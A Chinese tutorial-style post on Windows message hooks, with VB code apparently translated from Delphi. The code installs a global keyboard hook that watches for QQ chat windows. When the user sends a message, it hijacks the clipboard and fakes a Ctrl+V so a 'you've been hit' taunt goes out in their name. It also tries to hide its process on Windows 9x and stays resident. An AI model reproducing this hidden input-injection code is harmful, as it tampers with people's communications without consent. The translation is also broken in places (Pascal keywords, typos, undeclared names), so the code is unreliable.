VB拦截message消息

在Windows使用SetWindowsHookEx来实现hook（钩子）。钩子分类很多，其中消息钩子可以获取对象所接受大部分Message消息。不管是消息钩子或键盘钩子或其他钩子，安装钩子的SetWindowsHookEx函数需要一个回调函数指针。Windows收到某个消息以后确认并且发送应用程序前通知我们的回调函数。
钩子有两种
1）全局钩子，也就是说我们的程序可以拦截所有外部程序收的的消息。
2）非全局钩子，拦截当前进程所收到的消息。
为了实现全局钩子，回调函数必须在DLL中。好像用VB不能编写真正的动态链接库。

以下是简单代码：'Option Explicit
'uses
' Windows, Messages, SysUtils, TlHelp32;
'Delphi 中一些头引用，相当于C++的 *.h
'键盘HOOK类型
Private Type tagKBDLLHOOKSTRUCT
vkCode As Long
scanCode As Long
flags As Long
time As Long
dwExtraInfo As Long
End Type'定义API函数指针,VB不支持该定义
'RegSerProc=Function(dwProcessID,dwType:Integer):Integer;stdcall;Const WH_KEYBOARD_LL = 13
Const WH_MOUSE_LL = 14
'钩子消息及指针
Private lpMsg As TagMsg
Private lpHook As Long
'动态调用DLL函数指针
Private hDll As Long
'VB不支持该定义
'RegPointer:POINTER;
'RegServiceProc:RegSerProc;
'版本
Private OsInfo As OSVERSIONINFO
'QQ窗口的一些句柄
Private buf_hWnd As Long '前台窗口句柄
Private CheckBuf_hWnd As Long '判断是否还是前台窗口句柄
Private RichChat_hWnd As Long 'RichEdit20A句柄
Private CheckPaste As Long '判断是否在进行粘贴
'定时执行程序
Sub TimerWork()
MessageBox 0, "一个消息", "哈哈", 64
End Sub'粘贴代码
Sub PasteMsg()
Dim hMem As Long
Dim pStr() As Byte
Dim S As String
S = vbCrLf + vbCrLf + "恭喜你，你已经中招了！哈哈"
hMem = GlobalAlloc(GHND Or GMEM_SHARE, (LenB(S) * 2) + 4)
pStr = GlobalLock(hMem)
lstrcpy pStr(0), S
GlobalUnLock hMem
OpenClipboard 0
EmptyClipboard
SetClipboardData CF_TEXT, hMem
CloseClipboard
GlobalFree hMem
'发送WM_PASTE对QQ2006 and 2007 已经不起作用
'PostMessage(lphWnd,WM_PASTE,0,0);
CheckPaste = True
keybd_event VK_CONTROL, MapVirtualKey(VK_CONTROL, 0), 0, 0
keybd_event Ord("V"), MapVirtualKey(Ord("V"), 0), 0, 0
keybd_event Ord("V"), MapVirtualKey(Ord("V"), 0), KEYEVENTF_KEYUP, 0
keybd_event VK_CONTROL, MapVirtualKey(VK_CONTROL, 0), KEYEVENTF_KEYUP, 0
CheckPaste = False
End Sub
'Enum窗口
Function EnumProc(ByVal hWnd As Long, ByVal lParam As Long) As Boolean
Dim RichName As String, ParentName As String 'RichEdit20A,AfxWnd42类名
Dim RichBuf As String * 255, ParentBuf As String * 255
Dim ParenthWnd As Long

'获取父窗口，通过AfxWnd42进行窗口查找
ParenthWnd = GetParent(hWnd)
GetClassName hWnd, RichBuf, 256
RichName = Left(RichBuf, InStr(RichBuf, vbNullChar) - 1)
If RichChat_hWnd > 0 Then
EnumProc = False
Exit Function
End If
If LCase(RichName) = "richedit20a" Then
'获取父窗口类名
If ParenthWnd <> 0 Then
GetClassName ParenthWnd, ParentBuf, 256
ParentName = Left(ParentBuf, InStr(ParentBuf, vbNullChar) - 1)
End If
'通过父窗口类名进行比较，判断是否为输入窗口
If LCase(ParentName) = "afxwnd42" Then
PasteMsg
RichChat_hWnd = hWnd
EnumProc = False
Exit Function
End If
End If
'继续查找子窗口
EnumChildWindows hWnd, AddressOf EnumProc, 0
EnumProc = True
End Function'Hook代码
Function HookProc(ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Dim qqBuf As String * 255
Dim frmBuf As String * 255
Dim frmName As String '窗口名称
Dim clsName As String '获取类名
Dim p As KBDLLHOOKSTRUCT '键盘按键指针类型

If nCode = HC_ACTION Then
If (wParam = WM_KEYDOWN) And (Not CheckPaste) Then begin
'p:=PKBDLLHOOKSTRUCT(lParam);
'此处应该翻译为以下：
CopyMemory p, ByVal lParam, Len(p)

'判断是否Ctrl+V发送
If (p.vkCode = VK_RETURN) And ((GetKeyState(VK_CONTROL) And &H8000) <> 0) Then
'获取当前前台窗口
buf_hWnd = GetForegroundWindow

GetWindowText buf_hWnd, frmBuf, 256
GetClassName buf_hWnd, qqBuf, 256
frmName = Left(frmBuf, InStr(frmBuf, vbNullChar) - 1) '该地方只是一个处理而已
clsName = Left(qqBuf, InStr(qqBuf, vbNullChar) - 1)

'通过判断是否还是当前窗口，如果不是则执行重复操作
If (CheckBuf_hWnd <> buf_hWnd) Then CheckBuf_hWnd = buf_hWnd

'查找QQ窗口
If (InStr(clsName, "#32770") > 0) And ((InStr(frmName, "聊天中") > 0) Or (InStr(frmName, " 群") > 0)) Then
'重新初始化QQ编辑控件句柄
If RichChat_hWnd <> 0 Then RichChat_hWnd = 0

'遍历子窗口进行查找
EnumChildWindowsmbuf_hWnd , AddressOf EnumProc, 0
End If
'如果是原来窗口，那么直接进行处理操作
ElseIf (InStr(clsName, "#32770") > 0) And ((InStr(frmName, "聊天中") > 0) Or (InStr(frmName, " 群") > 0)) Then
PasteMsg
End If
End If
End If
HookProc = CallNextHookEx(lpHook, nCode, wParam, lParam)
End FunctionPublic Sub Main()
'注册钩子时先判断操作系统版本
OsInfo.dwOSVersionInfoSize = Len(OsInfo)
GetVersionEx OsInfo

If OsInfo.dwPlatformId = VER_PLATFORM_WIN32_NT Then
'如果是NT系统那么向系统注册钩子
lpHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf HookProc, hInstance, 0)

如果向系统注册钩子失败
If lpHook <= 0 Then SetTimer 0, 0, 500, AddressOf TimerWork
Else
'向9x注册系统服务
hDll = LoadLibrary("kernel32.dll")
RegPointer = GetProcAddress(hDll, "RegisterServiceProcess")
If RegPointer <> 0 Then
'VB不支持该指针，所以就不翻译了
'RegServiceProc:=RegSerProc(RegPointer);
'RegServiceProc(GetCurrentProcessID,1);
Else
'如果没有向9x注册成功服务器，以Timer进行操作
SetTimer 0, 0, 500, AddressOf TimerWork
End If
End If
'消息循环，永驻内存
Do While GetMessage(lpMsg, 0, 0, 0)
TranslateMessage lpMsg
DispatchMessage lpMsg
Loop
End Sub